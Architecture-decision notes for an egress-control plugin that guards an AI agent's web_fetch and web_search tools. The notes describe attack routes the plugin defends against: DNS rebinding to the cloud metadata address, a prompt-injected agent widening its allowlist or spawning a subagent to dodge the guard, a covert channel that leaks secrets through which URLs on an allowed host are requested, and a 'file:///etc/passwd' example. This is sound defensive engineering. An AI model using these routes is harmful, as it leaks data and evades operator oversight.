# Architecture decisions — dsh-netguard Decisions that are not obvious from the code, and the evidence behind them. --- ## 1. `node:https` / `node:http`, not global `fetch` Global `fetch` (undici) **ignores a `lookup` function in `RequestInit`**. Without that hook the policy check and the connect are two independent name resolutions, and the whole DNS-rebinding class stays open: a name answers with a public address for the check and with `169.254.169.254` for the connect. No amount of pre-checking closes it, because the pre-check is not what decides where the socket goes. `node:https.request` honours `lookup`, so the resolver is called once, the answer is vetted, and the socket is pinned to the exact address that was vetted. `socket.remoteAddress` is verified on `connect` / `secureConnect` as the second half of the same promise. The cost is that everything `fetch` did for free is owned here: redirect following, the byte cap, content-type classification, charset decoding. `content.ts` re-implements the shipped provider's classification so replacing that provider does not change what `web_fetch` returns to the model. Two supporting choices: - **`agent: false`.** A pooled agent may hand back a socket opened earlier for the same hostname, to whatever address that earlier resolution produced. Pinning that depends on connection reuse is not pinning. - **`accept-encoding: identity`.** A decompressor between the socket and the size cap is a place for a compressed bomb to expand past it, and `node:http` does not decompress on its own. ## 2. Rejected: patching `globalThis.fetch`, and the undici global dispatcher Both would cover far more than `web_fetch` — the vendor search providers, any plugin, the model adapter — and both were rejected for the same reason: **the harness's own model traffic goes through that function.** A deny arm bricks the agent on its first request. A log arm writes `x-api-key` and `Authorization` headers into the audit sink, which is the artefact an attacker reads after the fact. A monkey-patch is also trivially removable by the code it is meant to govern, and it would fight any other plugin doing the same. The seam this package registers into is the supported one, and it is the one whose failure modes the harness already documents. ## 3. Connect-time enforcement is proved by two tests, not one claim `tests/unit/fetch-provider.spec.ts`: - **The hook drives the connection.** A request to `pinned.test`, a name with no DNS record anywhere, succeeds against a loopback fixture because the injected resolver's answer is what the socket followed. If the hook were absent, the system resolver would return NXDOMAIN. - **A changed answer never reaches the socket.** A resolver returns `203.0.113.7` (public, permitted) for the check and the loopback fixture for every call after it. The fixture records **zero** requests and the resolver is consulted exactly once. An implementation that re-resolved at connect — including one whose `lookup` hook called the resolver again — would land on the fixture. Together those distinguish "pinned to the vetted address" from both "pre-checked then re-resolved" and "no hook at all". The address-table half is the same seam from the other direction: a redirect hop whose re-resolution answers `169.254.169.254` is refused with `blocked-by-private-address` and the second hop is never requested. The one arm that cannot be reached from the public API is the `socket.remoteAddress` mismatch: with the lookup hook pinned there is no way to steer the socket elsewhere. It carries a `v8 ignore` with that reason, and `remoteAddressMismatch` — the decision it makes, including the `::ffff:` normalisation — is unit-tested on its own. ## 4. Loopback is refused by default, and `allowPrivateAddresses` is how a deployment opens it harden-runner allowlists RFC1918 by default. For a CI runner in a private VPC that is arguable; for an agent on a developer's own machine or a build host it is the wrong call, because the interesting internal targets are exactly the ones on `127.0.0.1` and `10/8`. So the table refuses everything private and a deployment names what it needs. That is a rank-2 (deployment) field, never rank 3, and **the cloud metadata endpoints and the whole link-local range are excluded from it**: an entry overlapping `169.254.0.0/16`, `168.63.129.16/32` or `fe80::/10` is a load-time error. An agent that can reach `169.254.169.254` holds the host's cloud role, which is not a trade any deployment should be able to make by editing one line. It is also what makes the connect-time tests possible without a network: `127.0.0.1/32` is open and `127.0.0.2` is not, so a resolver that moves between them is a rebinding a test can observe. ## 5. Two records per hop, and audit mode records Open rather than Refuse Each hop makes two decisions — the URL against the host policy, then the resolver's answer against the address table — and each is recorded. The first has no address to report yet; that is why the spool holds two lines for one successful fetch and why only the second carries `dst_endpoint.ip`. In `audit` mode a denied request **completes**. A record claiming `activity_id: 5` (Refuse) for a connection that was made would be a false negative in the only direction that matters, so the audit row is `activity_id: 1` (Open), `action_id: 1` (Allowed), `disposition_id: 17` (Logged), `severity_id: 3`, `is_alert: true`, with `unmapped.dsh.enforced: false`. OCSF's Logged disposition means exactly this and it is the reason `security_control` is the profile to declare. `metadata.profiles` is `['security_control', 'host']` and nothing else. Every OCSF class is `additionalProperties: false`, so an attribute from an undeclared profile is precisely the validation failure the declaration exists to prevent — which is also why `ai_agent` is not on these records even though the sibling forwarder puts it on its own: Network Activity does not define it. ## 6. The guard mints the identity, and only records when it is the arm that decided `WebFetchProvider.fetch` receives `{ url }` — no agent, no session, no call id (`packages/web/web/src/types.ts:113`). `ToolExecution` has the call id but not the turn or step; those appear beside a `callId` only in the `tool/call` session event. So there are two joins, both minted here: a `session/event` observer keeps `callId → { turn, step }`, and the guard notes `url → identity` for the provider to look up moments later. Both maps are bounded and lossy on purpose — a missed join costs a record its `correlation_uid`, an unbounded map costs the agent its memory. Which arm writes the record for a *policy decision* follows one rule: **the arm closest to the wire owns it.** An enforced denial in the guard means the provider never runs, so the guard records it; otherwise the provider records. When `fetch.enabled: false` there is no provider, so the guard records every policy decision. The same rule for search: the guard owns the record unless a delegate is configured, in which case the provider does. Without the rule, every allowed `web_fetch` would be spooled twice. One class of decision is outside that rule and always belongs to the guard: a call it cannot turn into a target at all. A `url` argument that is not a string, and text that is not a URL, never reach a provider that could record them, and the provider's own refusal is a thrown error rather than a record. The guard therefore writes those itself, against a marker in place of a hostname — otherwise a request that named no host we could decide would be invisible to the audit lane, which is the one lane that is supposed to be total. A call carrying no `url` or `query` key at all is the exception: it names no target and opens no socket. The guard is registered **unscoped**, on a plain context. Verified in the sibling `dsh-dlp` work: a global guard applies to every agent, every `run_code` inner sub-call and every subagent child, while an agent-scoped listener does not see a subagent child's calls, because a child agent is a sibling of its parent rather than a descendant. A per-agent floor would have a hole exactly where a prompt-injected agent would spawn a helper. ## 7. The mount check reads two private fields, and says so when it cannot `ctx.web` exposes no way to enumerate providers or read the configured pin. The check therefore reads `fetchProviders` / `searchProviders` (the registries) and `fetchProviderId` / `searchProviderId` (the resolved pin) off the live `WebRuntime`. Both are `private` in TypeScript and ordinary own properties at runtime; verified against `@deepseek-ai/dsh-web@0.1.0-rc.6`, and `tests/unit/mount.spec.ts` reads them off a real instance so a rename fails the suite here rather than silently at a user's install. `fetchProviderId` is the right field to read rather than `$DSH_WEB_FETCH_PROVIDER`, because the seam resolves `config.fetchProvider ?? process.env.DSH_WEB_FETCH_PROVIDER` once in its constructor — the one field already carries the environment override. Alternatives considered: - **Probe with a duplicate registration.** Registering a provider under the shipped `http` id and catching `WEB_DUPLICATE_PROVIDER` detects that one provider without touching a private field. It cannot read the pin, so it produces a false failure for every deployment that pinned this package correctly in `cordis.yml`, and it cannot name any provider other than the one id it guessed. - **Do nothing and let the seam fail.** `WEB_PROVIDER_AMBIGUOUS` at the first `web_fetch` names neither this plugin nor the fix. CONVENTIONS §2 requires misconfiguration to fail loud at load. When the fields are unreadable the check does not guess: it fails with "this build does not expose its provider registry, pin `web.fetchProvider` explicitly" and quotes the patch. ## 8. The search provider wraps a delegate resolved by name, and is unusable without one The seam gives a search provider nothing to wrap. `ctx.web` has no accessor for registered providers, and there is no disposer for one this package did not register, so "wrap the provider the profile already composed" is not expressible. Two options remained. Importing a vendor package statically would put `@deepseek-ai/dsh-web-*` into `dependencies`, and a copied dependency closure means two copies of `WebError` and `HarnessError` in one process — `instanceof` stops working, and the sibling `dsh-dlp` work already established that a plugin installed under `$DSH_HOME/profiles//node_modules` cannot resolve the harness packages from there anyway. So the delegate is named in configuration and imported at first use, from the running installation's own module graph. **Without a delegate the provider reports `available(): false`**, which is the important half: the seam ignores an unusable provider, so mounting this plugin never displaces a profile's existing search route and never creates the ambiguity the fetch side has to be configured around. The one composition that has to fail loud is a profile that *pins* `web.searchProvider: dsh-netguard` without configuring a delegate: the seam then selects a provider that answers nothing, so the mount check refuses it rather than letting every `web_search` fail at call time. The outbound-query guard covers the un-delegated composition, and the README says plainly that result URLs are unfiltered there. ## 9. A closed reason vocabulary, and a `WebError` we do not extend The reasons are Codex's — `blocked-by-allowlist`, `blocked-by-denylist`, `blocked-by-private-address`, `blocked-by-scheme`, `blocked-by-credentials`, `blocked-by-redirect` — so an operator reading two products' logs sees one set of words, and a model that receives one can act on it instead of retrying a timeout forever. `NetguardWebError` carries the seam's own `code` values (`WEB_BLOCKED_URL`, `WEB_INVALID_URL`, `WEB_REDIRECT_BLOCKED`, …) but deliberately does **not** extend `WebError` from `@deepseek-ai/dsh-web`: that would be a runtime import of a harness package, which §8 explains a profile-installed plugin cannot rely on resolving. The cost is that the tool registry's structured `{ name, code }` error metadata — attached only for `HarnessError` instances — is absent. The denial reason still reaches the model in the message, which is the channel the model reads. ## 10. `blocked-by-scheme` needs a host to report; a hostless URL gets a marker `gopher://host/`, `ftp://host/` and `ws://host/` are refused as `blocked-by-scheme`, with a record naming the host they would have reached. `file:///etc/passwd` and `data:text/plain,…` have no host at all — WHATWG `URL` requires a non-empty host only for special schemes — so there is no endpoint to put in a `dst_endpoint`. The message the model receives still names the scheme, because that is what it has to change, and the record is written against the `(unparsed-url)` marker with a digest of the argument: a decision with no endpoint is still a decision, and dropping it would put a hole in the one lane that is supposed to be total. ## 11. The redirect rules are not governed by `mode` Audit mode relaxes *this package's host policy*. The cross-origin refusal, the hop budget and the missing-`Location` failure are the shipped `web-fetch-http` provider's own behaviour, which this provider replaces and preserves. Making them mode-dependent would mean audit mode introduces a following-redirects behaviour the harness never had, which is a regression dressed as an observation mode. ## 12. Ranking, and what rank 3 may do Verbatim from `dsh-dlp`: rank 1 compiled invariants, rank 2 `cordis.yml`, rank 3 a repo-local `policyFile`. Rank 3 may add deny patterns and raise `audit` to `enforce`. It may not add an allow, drop back to audit, open an address range, or name the spool. A prompt-injected agent can write a repo-local file, and there is no legitimate reason for one to widen an egress allowlist. `enforce: false` is an explicit error rather than an ignored key, so a workspace cannot quietly half-apply a relaxation. A malformed file invalidates the whole document, is reported on both `process.stderr` and `ctx.logger`, and is then ignored — aborting `apply()` instead would let a hostile repository remove the control by committing two broken lines, and would refuse to start `dsh` in every repository that ships no policy at all. The harness shares the instinct: `packages/boot/app-boot/src/index.ts:111` forbids a repo-local `.env` from setting `HTTP_PROXY` / `HTTPS_PROXY` / `ALL_PROXY` / `NO_PROXY`. ## 13. No public suffix list — superseded by §29 `*.co.uk` allows every British company and is easy to write, so a table of second-level suffixes rejects it. A full public suffix list is ~15,000 lines of data that goes stale and would sit inside the trusted computing base of a security control, so the table is a selection from it rather than the whole thing; §26 states which selection, and what an operator does about a namespace it does not carry. The prefix-wildcard form (`prod*.blob.core.windows.net`) is rejected outright, because that is the shape that matches names an attacker can register. **Superseded.** The prefix-wildcard refusal stands and is unchanged. The rest does not: the 52-entry table this described was already replaced in 0.5.0 by §26 and §27, which vendor 2,806 entries derived from the Public Suffix List, and §29 states the rule that governs the data now. The staleness concern this section raised is not answered by §29 — it is restated there as a measured cost, because a table netguard owns goes stale exactly as a table it copies does. ## 14. Coverage: 100% per file, with named exemptions CONVENTIONS §4 adopts upstream's per-file bar for security code and `vitest.config.ts` enforces it. Three arms use `/* v8 ignore */` with a stated reason: - the `socket.remoteAddress` mismatch arm (§3); - `response.statusCode ?? 0` in two places — a received response always carries a status line; - the `default` arm of the `RepoPolicyLoad`, `SpoolRead` and `PatternKind` switches, unreachable while those unions stay closed, kept so that adding a variant fails the build; - the process entry at the bottom of `cli.ts`, which `tests/e2e/report.e2e.ts` runs as a real subprocess against the built module instead. Reaching the bar changed the code twice, both times for the better: an unreachable empty-hostname guard in `identifyHost` came out (WHATWG `URL` refuses an empty host for a special scheme), and the fleet label/tag lists are now computed once rather than twice. What the bar does not catch is a vacuous assertion. `plugin.spec.ts` called the floor as `plugin.guards[0]?.(…)`, which is `undefined` when the mount registered no guard, so every test asserting that the guard abstains passed against no guard at all — 100% coverage throughout, since `apply` still ran. The mount helper now binds the guard through an accessor that throws when none was registered. Verified by removing the registration from `apply`: three of those tests passed before the change and fail after it. ## 15. Length is a policy decision, and it is governed by `mode` `fetch.maxUrlLength` and `search.maxQueryLength` bound work this package does synchronously inside `ctx.tools.guard()`, so both have to exist. What they are *not* is a parse failure. An over-length URL still names a host, so it is parsed, decided against the host policy, and denied with that host's verdict — or with `blocked-by-url-length` when the allow list covers the host. Treating it as unparseable is what let a padded URL reach a denied host with nothing spooled. Both are therefore ordinary denials and audit mode relaxes them, exactly as it relaxes an allowlist denial: audit mode's contract is that every decision is recorded and no request is refused, and a limit that still refused in audit mode would be a second, undocumented mode. The transport hygiene that audit mode does *not* relax is the redirect rules (§11), which are the shipped provider's own behaviour rather than this package's policy. An over-length query is the one asymmetry, and it is fail-closed by construction: the hosts in it are never enumerated, so `checkQuery` cannot say the query is clean. It reports a denial against the `(query)` marker, which audit mode records and permits like any other. ## 16. A bare host in prose is a heuristic, and it is deliberately conservative The outbound-query filter reads hosts out of model-authored text. Three spellings are read as destinations: a full URL, a `site:` / `inurl:` / `link:` argument, and a bare dotted token. Only the third is ambiguous, and it is ambiguous in the direction that hurts: `index.js`, `readme.md`, `setup.py`, `asp.net` and `file.tar.gz` are filenames in ordinary developer questions, and evaluating them against an egress allowlist refuses the work rather than the attack. Measured on eleven realistic queries, the earlier "any dotted token ending in two or more letters" rule refused nine. So a bare token needs a top-level label that is both delegated and not a common source-file or archive extension. That list is an approximation of the root zone for the same reason §13 keeps no public suffix list, and it is only ever consulted for the bare form: the spellings an exfiltration query actually uses are unaffected by it. A bare match is also never treated as a sighting. It does not enter the host memory and it does not appear in `report --suggest`, because a word inside a question is not a connection anything made, and an allow list derived from words is worse than no allow list. ## 17. The verbatim lane validates, and `report --suggest` validates again `dst_endpoint.hostname`, `observables[].value` and `message` are verbatim fields. Two sources can put a string there that is not a hostname: a vendor search result, whose `url` is whatever the vendor sent, and WHATWG `URL` itself, which keeps `'`, `"`, a backtick, `$`, `;`, `,` and `{` inside a hostname. `report --suggest` renders those fields into single-quoted YAML that the README tells operators to paste into `cordis.yml`, and a quote inside a hostname closes the quoting. The rule is one line, applied at the single place a host reaches a record: a plain host spelling or a fixed marker, with the original value carried as a keyed digest in the extension attributes. `report --suggest` then applies its own `[a-z0-9._-]+` test on the way out, because the spool is a durable boundary this package reads back — written by other versions, appended to under crash — and a reader that trusts what it parsed is the same defect one layer down. ## 18. `metadata.uid` is namespaced here, and left alone in `dsh-ocsf-forwarder` Both packages emitted `:` as `metadata.uid`. The two `seq` values count different things — this package's is a per-process decision counter, the forwarder's is the session log's own event sequence — and both start near 1 in the same session. So `session-88:4` was the identity of two unrelated records: this package's Network Activity, and whichever record the forwarder's own sequence had reached. That is exactly the composition both READMEs sell. The forwarder's says to deduplicate on `metadata.uid`; this one says records from both packages can sit in one index. Follow both and the SIEM silently drops netguard records as duplicates of forwarder records — an audit lane losing evidence with nothing anywhere reporting it. This package's key is now `:netguard:`. The forwarder's is unchanged, and the asymmetry is the decision, not an oversight: it is the older, published emitter, and changing its key would break deduplication for everyone already ingesting it, including on records already in an index. This package was `0.1.0` with no consumers when the collision was found, so it is the one that could afford to move. Anyone later "tidying" the two into one scheme would recreate the collision. `metadata.correlation_uid` stays `:` in both, because there the *point* is that the two packages produce the same value: it is what joins a connection to the tool call that opened it. A shared join key and a shared idempotency key are opposite requirements. ## 19. The install uid lives under the harness home, shared with the other producers `device.uid` is documented as the stable install identity of a machine. Both this package and `dsh-ocsf-forwarder` defaulted it to `.install-uid`, and the two spool paths differ by design, so one host minted two uids and its two OCSF producers disagreed about which device they were describing. Anything grouping by `device.uid` saw two machines. Both packages now default to `$DSH_HOME/install-uid`, resolved the way the harness resolves its home — `$DSH_HOME` when set to something other than whitespace, otherwise `~/.dsh`. Only the default moved: `fleet.installUidPath` still overrides it, still has to be absolute, and an explicit `fleet.installUid` still skips the file entirely. A uid an earlier release left beside the spool is read on first run and written through, because an upgrade that re-identifies the host destroys exactly the continuity the sidecar exists to provide. On a host where both packages carry a legacy uid the first to mount seeds the shared file and the other adopts it; never migrating would leave the two producers permanently disagreeing, which is the defect being fixed. Persisting stays best effort, unchanged: a home this process cannot write is reported and the records carry a per-process uid. The forwarder's copy of this helper threw instead, which failed the whole mount over an unwritable sidecar; it now behaves as this one does. ## 20. The harness peers are caret ranges; `@deepseek-ai/cordis` stays exact Every `@deepseek-ai/dsh-*` peer was pinned to the exact version `0.1.0-rc.6`. That made `npm install dsh-netguard` fail outright the moment upstream published `0.1.0-rc.7`: `@deepseek-ai/dsh-tools@0.1.0-rc.6` declares `@deepseek-ai/dsh-system-prompt@^0.1.0-rc.6`, which now resolves to rc.7, which requires `@deepseek-ai/dsh-llm@^0.1.0-rc.7` — a version the exact pin excludes, so `npm` refuses the whole tree with `ERESOLVE`. `pnpm` still resolved it, so `dsh plugin add` and CI kept passing while every `npm` user was broken. The peers are `^0.1.0-rc.6`, which is the range shape upstream uses between its own packages, so the tree `npm` builds around this plugin is the one the harness builds for itself. The end-to-end job runs against a written list of rcs — `0.1.0-rc.6` and `0.1.0-rc.7` today — rather than one pinned version, so a break shows up as a named CI leg instead of a user's install. The list is written rather than resolved from the registry on purpose: a job that asks for the versions a dist-tag currently names makes the registry an input to a security control's test plan, and a leg that appears on its own is a leg nobody reviewed. Adding an rc is a commit. `@deepseek-ai/cordis` stays at exactly `4.0.1`. It is not part of the rc train — `4.0.1` is the only release upstream's own `^4.0.1` ranges resolve to, so the exact pin excludes nothing that exists — and it is the object model the harness and every plugin share, where a second copy in the tree does not compose. > **Superseded in part by > [§23](#23-one-range-branch-per-prerelease-tuple-and-cordis-follows-upstreams-own-range).** > Two premises expired. A caret alone does not admit the prerelease line upstream now ships from, > and `4.0.1` is no longer the only release `^4.0.1` resolves to: `4.0.2` is published and both > `dsh@0.1.0-rc.8` and `dsh@0.1.1-rc.2` install it. The reasoning about exact pins and about one > shared object model stands; the ranges those arguments produce are in §23. ## 21. Distinct-URL cardinality is a signal, because the channel it sees is invisible to an allowlist CVE-2026-54316 is classified CWE-515, a covert storage channel, and it is the case a host allowlist cannot decide **by construction**: `huggingface.co` is allowlisted as a bare hostname, and the exfiltration is carried by *which* of many URLs on that one allowed host is requested, read back out of the vendor's own download counters. No response body is needed, no denied host is ever contacted, and every individual request is exactly what the policy permits. Nothing in the allow/deny evaluation can separate that traffic from ordinary use, because there is nothing about any one request to separate. What separates it is the count. Every full URL is already reduced to an HMAC digest for the record, so the distinct-URL count per `(session, host)` is available without storing or logging one URL: the counter holds digests. It goes into each record as `distinct_urls` and raises `is_alert` past `alerts.distinctUrlsPerHost`, in exactly the place `first_seen_host` already raises it. **It is a signal and not a block, deliberately.** A refusal at 32 URLs would refuse a repository walk, a documentation crawl and a package index sweep, all of which are the work; the threshold that stops the channel and the threshold that stops the job are the same number. The default of 32 is a judgement rather than a measurement: past what one session's reading produces, inside what a channel carrying a short secret needs (one request per byte puts a 32-byte token at 32 requests). It is a rank-2 deployment field for that reason, and `0` keeps the count and drops the alert. Three narrower choices inside it: - **Only hop 0 is counted.** A redirect target is the server's choice, not the agent's, so counting redirect hops would let a redirecting host raise the alert on everyone who visits it. - **The count is per session, not per installation.** The claim is about one agent's behaviour in one run; an installation-lifetime count would alert on every long-lived install eventually. A record whose tool-call join missed has no session id, and those share one pair per host — which can only over-count, never under-count. - **The state is capped like the join maps** (§6): 64 `(session, host)` pairs, 256 digests each, least-recently-counted pair evicted, count saturating at the cap. Same reason as there — a missed count costs a signal, an unbounded map costs the agent its memory. The honest limit is in `docs/limitations.md`: a patient exfiltrator who stays under the threshold, or spreads the channel across sessions or across several allowed hosts, never trips it. It raises the cost of the channel and leaves evidence in the lane an operator reads; it does not close it. ## 22. Path-scoped allow entries, and the six refusals that make them unambiguous `hosts.ts` used to refuse any pattern containing a path, and that was the right default: a half-supported path syntax in a security control is worse than none. CVE-2026-54316 is the argument for revisiting it. `huggingface.co` allowlisted as a bare hostname is the widest grant the grammar could express for that host, and `huggingface.co//` is a real narrowing — the same complaint the README makes about `github.com` being the widest entry you can add. So an **allow** entry may carry a path. The grant is the path itself and everything under it, ending on a segment boundary (`/api` covers `/api/v2`, never `/apiv2`), matched case-sensitively because only a URL's scheme and host are case-insensitive. The design is in what it refuses. Each of these is a spelling an operator and this package could read differently, and the grammar's rule is that such a pattern fails at load: 1. **A path on a deny entry.** A deny is host-wide; a path would make it refuse *less* than the same line without one, which is the single most dangerous direction to be misread in. It also keeps the rank-3 repo-local tier (§12) path-free for free, since that tier can only add denies. 2. **A trailing slash**, and a path that is only `/`. One grant needs one spelling; `/api/` and `/api` would otherwise be two ways to write the same thing, and `example.com/` would be a "narrowing" that narrows nothing. 3. **A wildcard inside the path.** A path grant is already a prefix, so `example.com/org/*` is the entry without the wildcard, and `example.com/org/re*o` is the prefix-wildcard shape §13 refuses for hosts. 4. **A query string or a fragment.** Matching is on the path alone. A pattern carrying `?token=` would look like a constraint this package does not apply, which is worse than not accepting it. 5. **A `.` or `..` segment.** WHATWG `URL` resolves those away before the decision, so such a pattern would match nothing — silent in an allow list, exactly the failure mode the interior wildcard refusal exists for. 6. **A path on an IP address.** `10.0.0.0/8` is a CIDR block, and CIDR blocks are what an operator writes in `allowPrivateAddresses` one field above. Reading it as host-plus-path would compile a different policy from the one that was written. Three properties outside the grammar carry the rest of the weight: - **Per hop.** The fetch provider re-runs `checkUrl` for every redirect target, so the path is re-decided on each hop and a granted path cannot be an open redirector into one that is not. That needed no new code — only the path reaching `evaluate` — and `fetch-provider.spec.ts` proves it with a *same-origin* 302 out of the grant, which the existing cross-origin refusal does not catch. - **A percent-encoded slash matches nothing.** `URL` leaves `%2f` alone, and origin servers disagree about whether it ends a segment. Rather than pick a reading, a request path carrying one matches no path-scoped rule at all — fail closed, and the request is refused as an allowlist denial. - **The privacy lane does not move.** A request path is attacker-influenced text and never reaches a verbatim field: not `dst_endpoint.hostname`, not `observables[].value`, not `message`, which still names the host and the reason only. The one place a path appears is `firewall_rule.uid`, as part of the matched pattern's own source text — deployment configuration, rank 2, not request text. `report --suggest` needs no change for the same reason: it derives its lines from the recorded *hosts*, so no path can reach the YAML an operator pastes into `cordis.yml`. Two behaviours are deliberate rather than incidental. A request to an allowed host outside its granted path is `blocked-by-allowlist` — no new reason word was added to a vocabulary shared with another product, and the advice that reason carries ("ask for the entry you need") is the right advice here. And a **search query naming the host is not refused**: that filter reads hosts out of prose, where there is no path to decide, and refusing every mention of a host the policy allows at one path would refuse the work rather than the attack (§16 makes the same trade). A result URL from a search is decided against the path in full, because the model can hand one straight to `web_fetch`. ## 23. One range branch per prerelease tuple, and cordis follows upstream's own range `^0.1.0-rc.6` does not admit `0.1.1-rc.2`, the release the `next` dist-tag points at. node-semver lets a prerelease satisfy a range only where some comparator carries a prerelease **and** the identical `major.minor.patch`; a caret contributes comparators for `0.1.0` and `0.2.0` and neither is `0.1.1`. Checked with `semver.satisfies` (7.8.5): | range | 0.1.0-rc.8 | 0.1.1-rc.2 | 0.1.1 | 0.1.2-alpha.5 | 0.2.0-rc.1 | 0.2.0 | |---|---|---|---|---|---|---| | `^0.1.0-rc.6` | yes | **no** | yes | no | no | no | | `>=0.1.0-rc.6 <0.2.0-0` | yes | **no** | yes | no | no | no | | `0.1.x` | no | **no** | yes | no | no | no | | `^0.1.0-rc.6 \|\| ~0.1.1-rc.0` | yes | yes | yes | no | no | no | Widening the upper bound is the intuitive fix and it does nothing: `<0.2.0-0` is a comparator on the `0.2.0` tuple, not on `0.1.1`. The declared ranges are therefore `^0.1.0-rc.6 || ~0.1.1-rc.0` — `~0.1.1-rc.0` is `>=0.1.1-rc.0 <0.1.2-0`, one branch covering one patch tuple's whole prerelease line, and nothing above it. **What this form cannot do, stated plainly: it does not generalize.** Every future prerelease line needs another branch, one per `major.minor.patch` upstream ships prereleases from. That is a standing maintenance commitment, not a fix — the alternative, `includePrerelease`, is a resolver flag a consumer passes, not something a published range can express. `0.1.2-alpha.2` … `alpha.5` are published today and are deliberately **not** admitted: nothing here has been run against them, and a branch is added together with the CI leg that tests its line. A user on that line gets `ERESOLVE` rather than an untested control that appears to be supported. `@deepseek-ai/cordis` moves from `4.0.1` to `^4.0.1`, which is the range upstream declares between its own packages. The exact pin was right while `4.0.1` was the only 4.x release; `4.0.2` is published now, and both `dsh@0.1.0-rc.8` and `dsh@0.1.1-rc.2` install it, so the pin is broken against two of the four releases the end-to-end job runs rather than latent. A peer range narrower than upstream's own cannot hold the harness on the older cordis — it can only make `npm` refuse the install, or leave the tree with two copies of the object model, which is the outcome §20 pinned to prevent. `4.0.2` differs from `4.0.1` in its own dependency ranges alone; every module in the package is byte-identical. Evidence, from `npm` rather than from `pnpm`, because `npm` is the resolver that fails here. In a clean project resolving `@deepseek-ai/dsh-{web,tools,llm,session}@0.1.1-rc.2` and cordis `4.0.2`, `npm install dsh-netguard@0.3.1` — the published declarations — fails: ``` npm error ERESOLVE unable to resolve dependency tree npm error Found: @deepseek-ai/dsh-llm@0.1.1-rc.2 npm error Could not resolve dependency: npm error peer @deepseek-ai/dsh-llm@"^0.1.0-rc.6" from dsh-netguard@0.3.1 ``` The packed tarball carrying these ranges installs into that same project, `npm ls` reports a complete tree, cordis stays a single deduped `4.0.2`, and the installed `dsh-netguard report` runs. The seam this package depends on most was checked rather than assumed. `@deepseek-ai/dsh-web` `0.1.0-rc.6` and `0.1.1-rc.2` ship an identical `lib/index.js` and `lib/invariant.js`; `registerFetchProvider`, `registerSearchProvider`, `WebFetchProvider`, `WebSearchProvider` and the request/result types are unchanged. The only difference across the two declaration sets is one JSDoc paragraph on `WebSearchRequest`. `@deepseek-ai/dsh-session` adds an optional `interrupted?: true` to `assistant/message`, which the correlation reader ignores. `tests/unit/compat.spec.ts` is what keeps this from drifting again: it fails when the end-to-end matrix names a version the declared ranges exclude, when a range reaches `0.2.x`, when the cordis range stops admitting a release the tested harnesses resolve, or when the README and the install page stop naming exactly the matrix. Against the published declarations it reports `@deepseek-ai/dsh-web@^0.1.0-rc.6 excludes 0.1.1-rc.2` for all four peers. ## 24. A redirect chain is joined through the URL the model wrote The provider is handed `{ url }` and looks the tool-call identity up by that URL (§6). A redirect target is a URL no tool call ever named, so a hop that offered its own URL to the join found nothing: on every redirect, both records of every hop past the first carried no `correlation_uid`. That is the one question this package is composed with `dsh-ocsf-forwarder` to answer, and a redirect is ordinary traffic rather than an edge case. Every observation therefore carries `originUrl` — the URL the provider was handed, unchanged for the whole chain — and the recorder looks that up instead of the hop's target. It is the right key because `tool-web` passes the model's `url` argument through verbatim (`parseFetchArgs` returns `{ url: args.url }` in every release the end-to-end matrix runs), so it is the string the guard noted. The guard notes that one spelling: noting the canonicalised URL beside it would spend two of the join's 64 entries per call on a key nothing reads. `tests/e2e/netguard.e2e.ts` proves it where it broke — a real agent, a real same-origin 302 out of a loopback fixture, and an assertion that all four records carry one `correlation_uid`. Against the previous lookup that test reports `undefined` for the two hop-1 records. ## 25. The host memory is written on a debounce, and flushed when the plugin unloads `HostMemory` holds one entry per distinct host and rewrites the whole document per write, so the cost of one write grows with everything the installation has ever contacted. Writing it per decision made that cost quadratic in the number of hosts, on the agent's own event loop: measured over 5,000 hosts, 34.4 s in total, 6.9 ms per decision, and 5.9 ms for the 5,001st, against a 784 KB file. A `web_fetch` the agent is waiting on pays that, and so does every other task sharing the loop. The write is therefore debounced: a sighting marks the memory dirty and the file is rewritten at most once per `hostMemoryFlushMs`. The same 5,000 sightings then cost 7 ms in total. It is a rank-2 deployment field rather than a constant because it buys durability with latency in a ratio only the deployment knows; `0` restores the write-per-decision behaviour. Two properties make the debounce safe to hold state behind: - **The timer is `unref`'d**, so a pending write is never why the agent's process stays alive. - **The plugin flushes on unload.** `apps/cli/src/profile-boot.ts` disposes the application fiber on ordinary completion and from its SIGINT and SIGTERM handlers, so every shutdown path a handler can reach writes the window. `tests/e2e/netguard.e2e.ts` asserts it against a real `dsh` process whose whole run is shorter than one interval; without the flush effect that assertion reports an empty memory. What a kill no handler survives costs is one interval of sightings: a host first contacted inside it is reported `first_seen_host` once more, and its counts resume from the last write. That is a repeated alert and a short gap in a signal, never a missed decision — every decision is already on the spool, which is appended per record and untouched by this. The growth itself is documented rather than bounded. An eviction policy would make `first_seen_host` mean "first since eviction" and would quietly shrink what `report --suggest` can offer, which is a worse trade than a file an operator can delete. ## 26. Self-service namespaces are refused, and `allowWideWildcards` is how a deployment opens one — refusal relaxed to an advisory by §30 `*.s3.amazonaws.com` reads like a grant to one vendor. It is a grant to every bucket anyone can create in ninety seconds. Twenty of twenty self-service namespaces probed against 0.4.0 were accepted, `*.githubusercontent.com`, `*.pages.dev`, `*.workers.dev`, `*.vercel.app` and `*.blob.core.windows.net` among them, so an operator who believed they had scoped egress to a vendor had scoped it to a namespace an attacker registers into. Such an entry is now a load-time error on the **allow** list. A deny entry keeps taking it: a deny wider than its author meant refuses more, which is the safe direction, and the deny table being too narrow is the problem this refusal exists for. **Source and line.** `src/suffixes.ts` carries the private section of the Public Suffix List (VERSION `2026-09-02_06-03-53_UTC`), which is this concept stated by the namespace owners themselves: a domain whose subdomains go to unrelated parties. Not all of it. The blocks kept are the platforms an agent deployment plausibly reaches — public cloud, object storage, CDN, serverless and PaaS, code and model hosting, static-site and preview hosting, developer tunnels, and the large dynamic-DNS providers. Left out, and open unless a deny entry closes them: regional web hosts, blog and store builders, one-off vanity namespaces, and the legacy DynDNS.com domain set. §29 measures what that selection leaves accepted and says why the judgement in it — "the platforms an agent deployment plausibly reaches" — is not a rule a second reader can apply. A namespace the Public Suffix List does not carry at all is a separate gap, and one this source cannot close: that list is populated by request, so a namespace whose owner never asked is absent from it however self-service it is. `src/observed-namespaces.ts` is netguard's own answer to that half, under the rule §29 states. Two readings of the list matter, and both are refused: - **A name above a namespace.** `*.amazonaws.com` matches everything `*.s3.amazonaws.com` matches and more, so refusing the namespace while accepting its parent would refuse the narrower spelling of the same grant. Every ancestor of a listed namespace down to two labels is refused with it. - **A namespace stated as a wildcard rule.** The list writes `*.compute.amazonaws.com` to mean that each name one label under it is itself a namespace, so both `*.compute.amazonaws.com` and `*.eu-west-1.compute.amazonaws.com` are refused. Two labels under one is an ordinary registered name and a wildcard over it is accepted, which is 